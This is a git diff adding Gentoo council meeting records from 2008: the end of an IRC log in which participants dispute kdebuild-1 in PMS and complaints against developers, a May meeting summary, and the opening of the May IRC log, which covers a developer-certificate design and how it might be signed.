+22:33 <    tsunam+> not helter skelter
+22:33 <  blackace > if something goes in it that isn't approved, the whole thing is disapproved
+22:33 <   ciaranm > could someone please state the specific reason that we should make life more difficult for the target audience for PMS by removing all mention of kdebuild-1?
+22:33 <     solar > Sweetshark: all unapproaved EAPI's
+22:34 <    tsunam+> -_-
+22:34 <  blackace > just like passing a bill through congress, if you put earmarks in people don't like, the whole bill doesn't pass
+22:34 <    tsunam+> ^^^
+22:34 <      igli > the target audience isn't people using kdebuild. PM implementors seem to know it quite well and discuss with each other. who else?
+22:34 <    vapier@> the generated PMS is what package managers should be implementing
+22:34 <    Caster > come on, council voted that it won't be part of PMS, so if you want to keep it in the source it must be conditional, end of story
+22:34 <    vapier@> if you want to add something to the PMS, you get it approved
+22:34 <  blackace > like an amendment
+22:34 <    vapier@> how is this difficult to fathom
+22:35 <    tsunam+> vapier: beyond me too :(
+22:35 <     solar > it's not. So call an end of the meeting so I can steal tsunam for some paying work
+22:35 <    tsunam+> lol
+22:35 <   ciaranm > vapier: is there a specific reason that the council can't approve PMS with kdebuild included, but state that only 0 and 1 are allowed in the tree?
+22:35 <      amne@> ciaranm: because it doesn't belong there
+22:35 <    tsunam+> ciaranm: because 0 and 1 were approved in previous PMS's
+22:36 <    vapier@> i generate the pms for reference.  it better not include anything that hasnt been approved.
+22:36 <    tsunam+> kdebuild has not
+22:36 <     solar > EAPI=1 should of never been allowed in this tree.
+22:36 <    vapier@> if you want to add something, get it approved
+22:36 <    vapier@> that is how it works
+22:36 <    tsunam+> spb: we're stuck with it
+22:36 < dberkholz@> let's not rehash that again...
+22:36 <       spb > lol.
+22:36 <Sweetshark > ciaranm: Well, I am target audiance. I reading the spec because im toying with writing a depresolver. I dont care at all about some fancy eapi thats never used in the official tree. keeping that stuff in is _not_ helping.
+22:36 <    tsunam+> erm...
+22:36 <     eroyf > lol.
+22:36 <     eroyf > haha.
+22:36 <    tsunam+> solar: ^^^ se above
+22:36 <   ciaranm > Sweetshark: you don't care about something used in an official gentoo overlay?
+22:36 <Betelgeuse@> EAPI 1 addition will not be rediscussed now.
+22:37 <Sweetshark > ciaranm: not in the first step
+22:38 <    vapier@> what exactly is left to be decided ?
+22:38 <    vapier@> sounds like we've agreed
+22:38 <      amne@> yupp
+22:38 <Betelgeuse@> vapier: nothing?
+22:38 <      amne@> and i gotta go anyway
+22:38 <  blackace > ok, before the meeting is ended, I'd like to get an answer to my question that was buried in the above discussion, has the council discussed the complaints against Philantrop, eroyf, and spb?  and will the complaints be on the agenda for the next meeting?
+22:38 <       spb > there was a complaint against me? on what grounds?
+22:38 <     eroyf > against me?
+22:38 <     eroyf > what.
+22:39 <kingtaco|w > tsunam, btw, are you proxying for flameeyes?
+22:39 <    Caster > isn't the first step devrel?
+22:39 <    tsunam+> kingtaco|work: that is correct
+22:39 <Philantrop > I'd like to know about that, too. Especially since there's no DevRel bug against me.
+22:39 <     eroyf > i'm not even a developer so how the hell would there be any complaints about me blackace?
+22:39 <kingtaco|w > tsunam, kk
+22:39 <     eroyf > blackace: care to answer?
+22:40 <jmbsvicett > eroyf: In theory there could be some userrel action about a user
+22:40 <    vapier@> blackace: yeah, start there
+22:40 <     eroyf > jmbsvicetto: indeed. but ther ehaven't been any that i know of.
+22:40 <    vapier@> eroyf: you have +v in #-dev which can be punted
+22:40 <  blackace > eroyf: my question is for the council members.
+22:40 <  arkanoid > eroyf: that's classified information
+22:41 <Philantrop > Betelgeuse, dberkholz, jokey, vapier, tsunam: Can I please get an official answer about that complaint against me?
+22:41 <    vapier@> blackace: is that sufficient or were you looking for something more ?
+22:41 <     eroyf > i haven't done anything in #gentoo-dev that's weird except for tonight where i've been out due to my 19th birthday party vapier.
+22:41 <     eroyf > blackace: i'd like to know about any complains about me as well given that i'm involved.
+22:41 <  blackace > vapier: is what sufficient?  did I miss an answer to my question?
+22:41 <     eroyf > and i haven't seen any so i doubt there's any.
+22:41 <    vapier@> blackace: start with devrel rather than council
+22:41 <    tsunam+> someone who's a member of the council in general able to give an appropriate answer to Philantrop
+22:42 <    tsunam+> as I'm just a proxy
+22:42 <    vapier@> we'd prefer not to be the starting point, or set an example of being the starting point
+22:42 <  blackace > vapier: complaints were sent to council@, I am asking for status on those complaints since council has not responded nor put it on the agenda.
+22:42 <     eroyf > why haven't any involved members been told about that?
+22:42 <    vapier@> blackace: and i just said
+22:42 <nightmorph > yeah, but that'd be like asking the docs-team why an ebuild isn't stabilized on a missfiled bug, blackace
+22:43 <nightmorph > if it's the wrong team to begin with, why should they have to respond?
+22:43 <Betelgeuse@> blackace: We are not that far yet.
+22:43 <     eroyf > for once, what nightmorph said.
+22:43 <Betelgeuse@> blackace: But I did see your mails :)
+22:44 <  blackace > nightmorph: no, council is the highest body, there is no reason people can't compain to the council directly
+22:44 <  blackace > s/compain/complain/
+22:44 <Betelgeuse@> blackace: Or was it someone else who sent them don't remember.
+22:44 <    vapier@> blackace: there is a reason
+22:44 <  blackace > Betelgeuse: someone else
+22:44 <     eroyf > you should go complain via the normal channels
+22:44 <    vapier@> we have the devrel group in place for complaints
+22:44 <     eroyf > which you obviously fails to do.
+22:44 <    vapier@> eroyf: shut up
+22:44 <Betelgeuse@> blackace: You don't start in the supreme court.
+22:44 <    vapier@> you're just adding noise at this point
+22:44 <Philantrop > Betelgeuse: So does this mean the council rejected the complaints?
+22:45 <  blackace > Betelgeuse: well, this isn't a legal system
+22:45 <    tsunam+> eroyf: devrel is aware of issues and has officially had complaints to it against members stated above as well
+22:45 <    vapier@> Philantrop: that sentence doesnt make any sense
+22:45 <     eroyf > no i am not. i'm saying that he should take it up with devrel / userrel ((devrel for Philantrop and spb) and userrel for me)
+22:45 <    Caster > blackace: but there are defined escalation procedures
+22:45 <  blackace > Caster: which have been followed afaik
+22:45 <    tsunam+> eroyf: I have no proble taking it up with you if you'd like :-D
+22:46 <Philantrop > tsunam: Interesting. So why wasn't I even informed as the accused party?
+22:46 <    Caster > then I don't know the one that says "start with council" :)
+22:46 <     eroyf > tsunam: fine with me, but i don't want to see my name mentioned in any coucil log by blackace when i've no clue what he's talking about.
+22:46 <    tsunam+> eroyf: lol
+22:46 <     eroyf > tsunam: if it was taken up with userrel, fine. i'd listen to you guys.
+22:46 <  blackace > again, I am not here to argue, I am here asking the council if they will have an agenda item at their next meeting.
+22:46 <    tsunam+> eroyf: just saying if you'd like to talk to userrel
+22:46 <     eroyf > i'm fine talking with userrel and i'd listen to whatever you might say.
+22:47 <    tsunam+> there are area's that directly state the council for issues
+22:47 <     eroyf > nod
+22:48 <Philantrop > Can I get a straight answer from anyone here?
+22:49 <Sweetshark > blackace: not the right time to ask - depends on if devrel etc. will need to escalate. bothering the council now with it is just ... bothering
+22:49 <    vapier@> Betelgeuse will take it over, i'm outs
+22:49 <Philantrop > tsunam: "<tsunam> eroyf: devrel is aware of issues and has officially had complaints to it against members stated above as well" - would you kindly enlighten me?
+22:50 <  blackace > Sweetshark: and you're not council, I'm not asking you a thing.
+22:51 <Philantrop > And while we're at the subject of enlightening people: "<wltjr>	NeddySeagoon: other than we are losing GNi in like ~20 days now, nope" - we're losing GNi? As in "as a sponsor"? Or what?
+22:51 <  arkanoid > blackace: afaik, two members of council told you this was the wrong place to start. Is that not an answer?
+22:51 <Betelgeuse@> Philantrop: We haven't rejected them or acted on them yet. Sorry to be a bit vague at this point but we need to decide internally first on how to go forward.
+22:51 <    tsunam+> Philantrop: that is not entirely the case
+22:52 <    tsunam+> Philantrop: and that is strictly a Foundation issue
+22:52 <     solar > great. So is this meeting over?
+22:52 <    tsunam+> Philantrop: its being handled by the Foundation and the infrastructure team
+22:52 <  blackace > Betelgeuse: thanks, that is actually a partial answer to my question.
+22:53 <     eroyf > gentoo's losing gni?
+22:53 <     eroyf > isn't gni the main sponsor of gentoo?
+22:53 <    tsunam+> eroyf: they are a large sponsor for Gentoo yes
+22:53 <Betelgeuse@> Any council members oppose ending the meeting?
+22:53 <     eroyf > don't they host bugzilla and stuff?
+22:53 < dberkholz@> alright, we're getting more and more away here
+22:53 <    tsunam+> eroyf: they do yes
+22:53 <Betelgeuse@> eroyf: The sky is not falling.
+22:54 <Philantrop > Betelgeuse: Strange way to handle complaints... Keeping the accused people in the dark about it.
+22:54 <     eroyf > anyways
+22:54 <     eroyf > before you end
+22:54 <    tsunam+> Philantrop: why invove the accused, if no decision to even do anything has been decided
+22:54 <     eroyf > as Philantrop, i'd like to hear about any complains about me.
+22:54 <  arkanoid > Philantrop: they had great success with that in the medieval times too
+22:54 <     eroyf > and not directly from blackace since i don't care about him. but from the council / devrel / userrel.
+22:55 <    tsunam+> Philantrop: I am sure if anything was to be decided to happen, you would be informed and be giving a chance to discuss the matter in a fair way
+22:55 <  blackace > eroyf: careful, you're gonna hurt my feelings saying things like that :)
+22:55 <Philantrop > tsunam: It's a very rude way, I must say. Letting this going public but not even letting me know what it is about.
+22:56 <Betelgeuse@> Philantrop: If it wasn't brought up here you would have gone on happily until we possibly would contact you. I don't see any harm in that.
+22:56 <Betelgeuse@> Philantrop: We didn't let the genie out of the bottle.
+22:56 <  arkanoid > Betelgeuse: but it's out nonetheless :)
+22:56 <Betelgeuse@> Yes it's valid a question to ask where it's going of course.
+22:56 <    tsunam+> I call for an end to the meeting for today
+22:56 <Philantrop > Betelgeuse: It has been brought up here so I'd say I have a right to know about it.
+22:56 <    tsunam+> Anyone second
+22:57 <    tsunam+> as this is beyond the confines of the meeting
+22:57 <     eroyf > Philantrop's question needs to be answered first tsunam.
+22:57 <     solar > No it does not
+22:57 <     solar > it's so fscking off topic
+22:57 <Betelgeuse@> tsunam: yeah
+22:57 <    tsunam+> eroyf: Its been answered "not sufficently" for Philantrop's expectations, but answers have been given
+22:57 <Philantrop > solar: No, two involved parties have asked the council for an official statement.
+22:57 <     jokey@> right, so anyone having anything left for this meeting?
+22:58 <     solar > Philantrop: and the council already said this is not the proper channel
+22:58 <     eroyf > solar: Philantrop and I've asked the council for an official statement. That should be enough.
+22:58 <     solar > so.. Please.. End this meeting. You are waiting everybodies time.
+22:58 <Betelgeuse@> I already said that we can't give a public statement at this point.
+22:58 <Betelgeuse@> But yes we have received said complaints.
+22:58 <  arkanoid > Betelgeuse: I'm sure just telling the involved parties about it would be satisfactory for them :)
+22:59 <  arkanoid > no need to inform the rest of us
+22:59 <Philantrop > Ok, that's enough. I'll give it a night to sleep over but I'm probably going to retire from Gentoo for this absurd and *perverted* handling of complaints.
+22:59 <    tsunam+> it would appear its not even at the preliminary point
+22:59 <Betelgeuse@> arkanoid: again the council did not start this line of discussion
+22:59 <    tsunam+> I'm gone
+22:59 <Sweetshark > eroyf: council resolved the bug as INVALID DOWNSTREAM. Everything else is just that it was inapproprate to bring this up here, but thats not councils job either, i guess (devrel again).
+22:59 <    tsunam+> night all
+23:00 <  arkanoid > Betelgeuse: nope, but know that they know about it, it does seem appropriate to inform them (and only them) properly. but then again, it was just a proposal to reach an understanding between you
+23:00 < dberkholz@> here's a summary, feel free to suggest changes before i mail it out in a little while
+23:00 < dberkholz@> http://dev.gentoo.org/~dberkholz/20080410-summary.txt
+23:01 <   ciaranm > dberkholz: could you include the rationale for the kdebuild-1 decision please?
+23:01 < dberkholz@> ciaranm: sure, do you have any quotes handy or should i dig 'em up
+23:01 <Philantrop > dberkholz: Would you please add the unwillingness of both council and devrel to even inform the accused of what they're accused of?
+23:02 < dberkholz@> sure
+23:02 <   ciaranm > dberkholz: i ask because i don't think i understood the rationale part, and i'd like to see it rephrased
+23:04 <Betelgeuse@> Philantrop: As some members already left I didn't want to take actions into my own hands.
+23:06 <Betelgeuse@> Philantrop: And you caught us off guard any way as this wasn't supposed to be handled in this meeting.
+23:06 <Betelgeuse@> Philantrop: Well not you but blackace.
+23:06 <Philantrop > Betelgeuse: It's pretty much a moot point now. If the council didn't reject the complaint against me yet, I should be informed about its contents. If it did reject the complaint, I don't care. But hearing that DevRel has obviously received a complaint against me and isn't even informing me about it, is something I consider in extremely bad taste.
+23:06 <    Fieldy > if i may chime in, that may be something to talk to devrel about.
+23:07 <   astinus > and the reason it was raised direct with Council
+23:07 <   astinus > is because DevRel does precisely nothing, in almost all cases
+23:07 <   astinus > and this has gone far enough, Gentoo is simply *not* fun any more when stuff like this keeps happening.
+23:07 <nightmorph > badmouthing one group doesn't help anything
+23:08 <       spb > it is, on the other hand, rather amusing when stuff like this keeps happening
+23:08 <   astinus > spb: Not when it costs us good developers.
+23:08 -!- mode/#gentoo-council [+o lu_zero] by ChanServ
+23:08 <       spb > oh, the good developers are already gone
+23:08 <       spb > not much to worry about really
+23:10 <Philantrop > spb: Thank you. ;->
+23:12 <Betelgeuse@> I need to go to bead now.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080508-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080508-summary.txt
new file mode 100644
index 00000000..9887f0b8
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080508-summary.txt
@@ -0,0 +1,209 @@
+Quick summary
+=============
+
+Active-developer document: We reviewed it and made some suggestions for 
+improving both the document and the online developer list (adding 
+dates).
+
+ChangeLog entries: Always required. If you aren't making them now, fix 
+your script to call echangelog.
+
+Ignored arch-team bugs: What's the workflow for undermanned arch teams? 
+Can we improve it?
+
+8-digit versions: Ask package maintainers with extremely long PVs 
+whether they were needed and test the impact of extending 
+versionator.eclass. Make decision once this data is available.
+
+Enforced retirement: After 2.5 hours on the previous topics, people had 
+to go to sleep and jokey's computer broke. Instead of waiting till the 
+next regular meeting, because of its urgency, we scheduled a special 
+session next week at the same time. The appeals will *not* be decided 
+then -- it's about figuring out the validity and the process.
+
+New meeting process: 105 minutes were closed and 57 were open. It might 
+save some time if we always moderated, but it won't cut it in half. 
+Should we keep doing this, or modify it a little to have a moderated 
+#-council and open backchannel?
+
+
+Roll call
+=========
+
+(here, proxy [by whom] or slacker?)
+
+amne        slacker [30 minutes late]
+betelgeuse  here
+dberkholz   here
+flameeyes   here
+lu_zero	    here
+vapier      proxy [solar]
+jokey       here
+
+We gave amne 15 minutes to show up before getting a slacker mark.
+
+
+New process
+===========
+
+The last few meetings have dragged out for hours unnecessarily. This 
+time, we tried moderating the channel during discussion of each topic, 
+then temporarily opening the floor for that topic before a vote so 
+anyone could contribute. Here's the time breakdown:
+
+	2000-2030: closed, 30 min
+	2030-2046: open, 16 min
+	2046-2056: closed, 10 min
+	2056-2114: open, 18 min
+	2114-2146: closed, 32 min
+	2146-2209: open, 23 min
+	2209-2242: closed, 33 min
+	2242-    : open floor
+
+Total before open floor: 105 minutes closed, 57 minutes open.
+
+Optimistically, we could have saved an hour if the channel was moderated 
+throughout the meeting. That's unlikely to be the case in reality, 
+because we'd be redirecting people's comments from queries into the 
+channel.
+
+Should we keep it moderated until the final open floor? Should we have 
+an open "backchannel"?
+
+
+Updates to last month's topics
+==============================
+
+	http://www.gentoo.org/proj/en/council/meeting-logs/20080410-summary.txt
+
+	Document of being an active developer
+	-------------------------------------
+	Last month:
+		No updates
+	Updates:
+		araujo made http://dev.gentoo.org/~araujo/gcert1.pdf in Scribus. 
+		He'd like to ask for approval of this design and discuss the 
+		script, in particular its infrastructure requirements.
+
+		Suggestions on certificate content:
+			-Add title to the top: "Developer Certification"
+			-Add devrel contact info (general devrel email address)
+			-Add link to devrel userinfo page
+			-Add start and end dates to devrel retired developers page
+			-Add a sentence saying e.g. "This certifies that XXX was a 
+			 Gentoo developer from START_DATE to TODAY_DATE." The point 
+			 is to avoid implying that the developer is certified 
+			 forever, or will be a developer in the future.
+
+		The information should be gotten from LDAP, for example using 
+		python-ldap. Could base this script on devrel's slacker script.
+
+		It's unsure how signatures are going to happen, but one option 
+		is to keep a GPG-encrypted image of a signature and decrypt it 
+		on-demand for certificate creation. This should be discussed 
+		with the person doing the signing.
+
+
+	Slacker arches
+	--------------
+	4 months ago:
+		vapier will work on rich0's suggestion and repost it for 
+		discussion on -dev ML
+	2 months ago:
+		vapier said he was going to work on it that weekend.
+	Last month:
+		No updates
+	Updates:
+
+
+New topics
+==========
+
+	When are ChangeLog entries required?
+	------------------------------------
+	This question mainly relates to arch stabilizations.
+
+	The consensus was that ChangeLog entries even for arch 
+	stabilizations provide valuable information that is unique without 
+	network access and more accessible than CVS logs even with network 
+	access.
+
+	Some people were curious what proportion of space ChangeLogs take in 
+	the tree, but most people didn't think that was relevant.
+
+	welp suggested making a changelog message part of repoman commit.
+
+	It would be helpful for the QA team to help with checking for and 
+	enforcing ChangeLog messages. If that doesn't help matters, the 
+	council may have to take action.
+
+
+	Can the council help fewer bugs get ignored by arm/sh/s390 teams?
+	-----------------------------------------------------------------
+	The work happens, but Mart says it's not communicated to anyone and 
+	has no relationship to whether bugs are open.
+
+	We need to understand the workflow of undermanned arch teams and see 
+	whether there's anything we can help improve.
+
+	Possibly improving recuitment -- add a good, motivating 
+	staffing-needs entry.
+
+
+	PMS: Are versions allowed to have more than 8 digits?
+	-----------------------------------------------------
+	http://archives.gentoo.org/gentoo-dev/msg_db2f5c09c2c0c8b042ca3d0dcec7cdaf.xml
+	https://bugs.gentoo.org/show_bug.cgi?id=188449
+
+	What do various PMs/tools support? Portage, Pkgcore, Paludis all 
+	handle >8. portage-utils does not but could be fixed to use longs 
+	instead of ints, with some loss of performance (magnitude unclear).
+
+	versionator.eclass also needs fixing for >8 digits.
+
+	Apparently [ ]-style tests break with large numbers, but [[ ]] 
+	works. Have to be careful which tests are getting used anywhere 
+	large versions are compared.
+
+	The council generally favored allowing versions to have <=18 digits. 
+	This allows them to fit into 64 bits (18 signed digits or 19 
+	unsigned) and gives them an upper bound, which some implementations 
+	of version parsing could find useful.
+
+	We voted to do more research and testing, specifically to ask the 
+	package maintainers with extremely long PVs whether they were needed 
+	and to test the impact of extending versionator.eclass. The involved 
+	packages:
+
+		sys-process/fuser-bsd
+		sys-apps/net-tools
+		sys-apps/gradm
+		net-im/ntame
+		media-video/captury
+		media-libs/libcaptury
+		media-libs/capseo
+		sys-block/btrace
+		www-apache/mod_depends
+		net-wireless/rt2500
+		sys-fs/unionfs
+
+
+	Enforced retirement
+	-------------------
+
+	The meeting had already gone 2.5 hours and we were short multiple 
+	council members because of the late hour in their timezone, or 
+	broken hardware in the case of jokey. Because of the urgency of 
+	getting this resolved, we decided it couldn't wait for next month's 
+	meeting and scheduled a special session for next week at the same 
+	time.
+
+
+	Open floor
+	----------
+
+	Some people thought that we were going to make a final decision on 
+	the above appeals today, because the agenda was insufficiently clear 
+	on that. That was not the case. What we intended to do was explain 
+	why we can take the appeal and then figure out the process for it
+	because we haven't done any appeals before.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080508.txt b/xml/htdocs/proj/en/council/meeting-logs/20080508.txt
new file mode 100644
index 00000000..c07a4c65
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080508.txt
@@ -0,0 +1,795 @@
+19:59 -!- mode/#gentoo-council [+m] by Betelgeuse
+20:00 <Betelgeuse@> Houston we have a go.
+20:00 <     jokey@> yep
+20:00 -!- mode/#gentoo-council [+v solar] by Betelgeuse
+20:00 <Betelgeuse@> Was anyone else proxying?
+20:01 -!- mode/#gentoo-council [+v FlameBook] by Betelgeuse
+20:01 -!- mode/#gentoo-council [+m] by dberkholz
+20:01 < FlameBook+> I don't see JoseJX
+20:01 -!- mode/#gentoo-council [+v solar] by dberkholz
+20:02 -!- Irssi: #gentoo-council: Total of 79 nicks [8 ops, 0 halfops, 2 voices, 69 normal]
+20:03 < dberkholz@> lu was active 10 minutes ago, so not sure he needs a proxy..
+20:03 <   lu_zero@> I don't need it
+20:03 <   lu_zero@> as I said I was afraid of being in late ^^
+20:03 <Betelgeuse@> Anyone seen amne?
+20:03 < dberkholz@> if anyone besides solar is proxying, query me now
+20:04 < dberkholz@> everyone's spoken in the past ~10 minutes except amne, with solar proxying for vapier
+20:05 < dberkholz@> we've got 6 people, let's get started and give amne another 10 minutes to show up before he gets a slacker mark. sound good?
+20:06 <     jokey@> yup
+20:06 <Betelgeuse@> sure
+20:06 <   lu_zero@> ok
+20:06 <   lu_zero@> anybody could sms him?
+20:06 < dberkholz@> first topic: "Document of being an active developer"
+20:06 -!- mode/#gentoo-council [+v araujo] by dberkholz
+20:07 < dberkholz@> araujo: anything to say, besides what's in the agenda?
+20:07 < FlameBook+> lu_zero: let me
+20:08 < dberkholz@> ok, anyone got opinions on http://dev.gentoo.org/~araujo/gcert1.pdf ?
+20:09 <Betelgeuse@> should it have links to somewhere?
+20:09 <   lu_zero@> dberkholz looks nice
+20:09 < dberkholz@> i'm not sure that the trustees are the correct group
+20:09 <Betelgeuse@> And a title.
+20:10 < dberkholz@> 20:09 <NeddySeago> It needs a date of signing ... and maybe an expiry date
+20:11 < dberkholz@> Betelgeuse: like "Developer Certification" on the very top?
+20:11 <     jokey@> one year expiration was agreed on wasn't it?
+20:11 <Betelgeuse@> dberkholz: something like that yes
+20:12 < dberkholz@> (for anyone who hasn't followed this, these certificates are apparently required for some jobs and such. a couple of people had a need for it.)
+20:14 <     jokey@> so, given we add an expiration date, I'm all for it
+20:14 < dberkholz@> Blackb|rd suggests that we just add a "signed" date instead of an expiration date
+20:15 <    araujo+> hello
+20:15 <    araujo+> dberkholz, well, I wonder about the infra side to implement this script
+20:15 <   lu_zero@> I'm not sure about the expiration date
+20:16 <    araujo+> jokey, I don't think that's needed since we specify the year in the cert
+20:16 <   lu_zero@> a start date and an issue date should do better
+20:16 <    araujo+> we could be more specific with the date
+20:16 <    araujo+> yeah lu_zero , that sounds good
+20:17 <     jokey@> maybe some url to verify validity
+20:17 <   lu_zero@> so "Gentoo developer since $date" "Issued $othe date"
+20:17 < dberkholz@> i'm getting lots of queries about expiration dates .... my thinking is that a signed date reflects the same information without trying to know the future
+20:17 <   lu_zero@> jmbsvicetto suggests something along "is a Gentoo developer since X/Y/Z and a member ..."
+20:18 <    araujo+> jokey, like http://www.gentoo.org/proj/en/devrel/roll-call/userinfo.xml ?
+20:18 <     jokey@> araujo: yeah, something like that
+20:18 < dberkholz@> astinus suggests that we need contact information to verify this if employers want to do so
+20:19 < FlameBook+> amne is having network trouble, so I would suppose he might or might not appear
+20:19 < dberkholz@> for example a devrel contact
+20:19 <     jokey@> trustees@ would be the right thing then
+20:19 <    araujo+> dberkholz, contact information ... like ?
+20:19 < dberkholz@> devrel seems like the right group for this HR-related thing, rather than trustees
+20:19 <   lu_zero@> I agree with dberkholz
+20:20 <    araujo+> Ok, so, Devrel is enough to validate this document'
+20:20 <    araujo+> ?
+20:20 <     jokey@> works4me
+20:20 <    araujo+> ok, and what we could add for the contact information? ... devrel mail?
+20:21 <     jokey@> dunno if chrissy wants to give out her phone# ;)
+20:21 <     solar+> I doubt that she would want to
+20:21 < dberkholz@> arkanoid continues to stress the importance of expiration dates
+20:22 <    araujo+> hah ... well ... what if we create a section with the whole contact information for these certs , and use that link then?
+20:22 < dberkholz@> one thing we could do to address this is say "XXX has been a Gentoo developer from DATE to DATE"
+20:22 <   lu_zero@> I don't see what's the meaning of expiration date
+20:23 <   lu_zero@> that the certificate isn't valid?
+20:23 <    araujo+> ColdWind says that he doesn't agree with this on devrel, because that's for developer relations only , and this will involve outsiders
+20:23 < FlameBook+> what about writing on the certificate an encrypted code that can be verified automatically on the website?
+20:23 <   lu_zero@> FlameBook works for me
+20:23 < dberkholz@> i don't think we need that, we could just point to the userinfo page
+20:23 < dberkholz@> it has a link to retired devs
+20:23 <    araujo+> correct
+20:23 <   lu_zero@> and HR people could just check the website
+20:23 < FlameBook+> dberkholz: to stop possible forgery, if that ever makes sense
+20:24 <    araujo+> every time I asked about the best way to validate a developer status, was to chek the developer info page
+20:24 <     jokey@> I'm with dberkholz there, maybe making that a bit more obvious where to find "active" and "retired" ones but that should do then
+20:24 < dberkholz@> we should try to add some date fields to the retired devs page
+20:24 <    araujo+> fmccor agrees with this on devrel , and we can arrange for further contact if necessary, and no to phone numbers. <i agree>
+20:25 <    araujo+> I like the idea of the 'start date' and 'issue date'
+20:25 <    araujo+> with a link to the userinfo page
+20:28 <   lu_zero@> anybody else?
+20:28 < dberkholz@> http://dev.gentoo.org/~dberkholz/20080508-summary.txt has 4 suggestions in it. anyone disagree with one or have more to add?
+20:29 < dberkholz@> ah right, the title
+20:29 <    araujo+> dberkholz, what devrel contact info exactly?
+20:29 < dberkholz@> araujo: reload =)
+20:29 <    araujo+> ah ok, good
+20:30  *   araujo agrees
+20:30 <     jokey@> looks good donnie
+20:30 < dberkholz@> seems we've covered most points, i'm going to open the floor for further comments on this topic
+20:30 -!- mode/#gentoo-council [-m] by dberkholz
+20:30 <      amne@> oi
+20:31 <      amne@> very sorry about the delay, i had some bloody networking problems
+20:31 < FlameBook+> and there comes amne :)
+20:31  *     amne goes read the backlog
+20:31 <   lu_zero@> =)
+20:31 <    araujo+> ok, so we agree about this?
+20:32 <   astinus > amne: slacker!
+20:32 <     jokey@> araujo: yep, fine with me :=)
+20:32 <    araujo+> if we agree about the cert format ... now I have to take care of the design, which I will be sending to -dev later ... I would like to talk about the infra side for the script
+20:33 <   astinus > araujo: I'm not sure what you'd need which is special?
+20:33 <   lu_zero@> fine for me
+20:33 <NeddySeago > araujo, if devrel will sign (in ink) and scan and email, why do you need a script at all ?
+20:33 <    araujo+> scribus is basically plain xml , so I guess I am free to choose any available scripting language for it , but I want to know what it is the preferred way to extract this developer information ...
+20:34 <     jokey@> araujo: ldap works best afaik
+20:34 <   astinus > araujo: from LDAP?
+20:34 <Betelgeuse@> araujo: python-ldap should work
+20:34 <   astinus > *nod*
+20:34 <    araujo+> NeddySeagoon, oh, you have brought a good point :-]
+20:34 <     jokey@> unisono heh
+20:34 < FlameBook+> NeddySeagoon: would be simpler to scan a signature and add it over the image :)
+20:34 <    araujo+> Should this cert be hand-signed (ink) , or can it be generated by a script with the digital of it?
+20:35 <    araujo+> Ok, good, ldap ...
+20:35 < dberkholz@> who's comfortable with having their scanned signature sitting on a gentoo box?
+20:35 <NeddySeago > it should be hand signed and emailed in a signed email
+20:35 < Blackb|rd > araujo: only after ten years of service as a dev :D
+20:35 <NeddySeago > dberkholz, not me
+20:36 < dberkholz@> from our previous discussions, i thought we could just digitally sign it with gpg
+20:36 <    araujo+> well, yeah .. this is an important detail we almost miss to discuss ... :-P
+20:36 < Blackb|rd > dberkholz: inside the PDF or detached?
+20:36 <     pilla > dberkholz: I am not sure that many potential employers will figure it out
+20:36 <Betelgeuse@> dberkholz: What's so compromising about signatures?
+20:36 < Blackb|rd > araujo: does the pdf generation process support "inline" sigs?
+20:36 <    araujo+> I guess this is pretty much up to devrel/trustee ..
+20:36 < Blackb|rd > araujo: crypto sigs, that is.
+20:37 < dberkholz@> Betelgeuse: anyone could forge my name on any document they cared, if the box gets compromised..
+20:37 <     pilla > if the signature is not crypto-protected itself, yes
+20:37 <    araujo+> Blackb|rd, will have to check it out
+20:37 <   astinus > dberkholz: We can already do that by getting ahold of any document you've ever signed and scanning it.
+20:37 <Betelgeuse@> ^
+20:37 < FlameBook+> as astinus said
+20:37 < dberkholz@> astinus: do you have access to any of those?
+20:37 < dberkholz@> are any of them on a gentoo box?
+20:38 <   astinus > dberkholz: I'd bet $20 it wouldn't be that hard. Probably easier than hacking an Infra box.
+20:38 <Betelgeuse@> any way OT
+20:38 <     jokey@> indeed
+20:38 < FlameBook+> astinus: it's easy to bet $20 >_>
+20:38 <Betelgeuse@> I sign different stuff all the time.
+20:38 <     jokey@> special details that can be discussed later
+20:38 <     jokey@> and are not subject of general "worksforus"
+20:38 <   antarus > hrm, council meeting? :)
+20:38 <   astinus > my point was *yes* there is a concern about storing a sig and overlaying onto the PDF, *but* if someone really wants your signature, there's 101 ways to get it.
+20:38 < Blackb|rd > If the retired devs page was easier to find, no need for sigs, IMHO
+20:39 < dberkholz@> that's up to the people who would have to sign it
+20:39 <NeddySeago > lets move on ... its an implementaion detail
+20:39 <   astinus > dberkholz: script it so the signature IMG is gpg'd and require it be decrypted each time as part of the certificate generation process?
+20:39  *  astinus nods
+20:40 <    araujo+> ok, but, we should agree on this
+20:40 <     jokey@> NeddySeagoon++; dberkholz: let's note that on summary that this detail has to be discussed with the signing person and move on
+20:40  *   araujo is fine with both
+20:41 <    araujo+> astinus, we can do that
+20:41  *     amne <- finished reading backlog, anyone want me to say anything? :-P
+20:41 <   astinus > amne: nah, you're just the token four-letter-nick guy ;)
+20:42 <      amne@> heh. in that case i'll just agree to what the others already said
+20:42 <    araujo+> I like astinus idea
+20:42 <    araujo+> anyone?
+20:43 < dberkholz@> sure, and i agree with jokey
+20:43 < dberkholz@> discuss that with the signer
+20:43 <      amne@> yupp
+20:44 < dberkholz@> so, next actions are for araujo to add the suggestions in the summary to the certificate, and to work on a script to acquire info from ldap
+20:44 <    araujo+> dberkholz, ok
+20:44 <   antarus > araujo: if you need help with ldap
+20:44 <   antarus > I am a wizard
+20:44 <   antarus > with pointy hat
+20:44 <    araujo+> antarus, welcome :-]
+20:44 < dberkholz@> araujo: you may also wish to discuss the signing with people in devrel
+20:44  *  astinus pops antarus' oversized head :P
+20:44 < dberkholz@> anyone else got something new to add to this topic?
+20:44 <Betelgeuse@> araujo: or could just use the new slacker script to startt with
+20:44 <    araujo+> Betelgeuse, what is that?
+20:45 <Betelgeuse@> http://rafb.net/p/5UU0MV64.html
+20:45 <     jokey@> dberkholz: doesn't look like it, next topic
+20:45 <    araujo+> Betelgeuse, nice :-]
+20:45 <     jokey@> just more details for hacking it up which can be adressed in #-dev or somewhere ;)
+20:45 < dberkholz@> Betelgeuse, araujo -- feel free to continue talking about details in #-devrel or #-dev, let's move on to the next topic here
+20:45 <  ferringb > Betelgeuse: iteritems not items :P
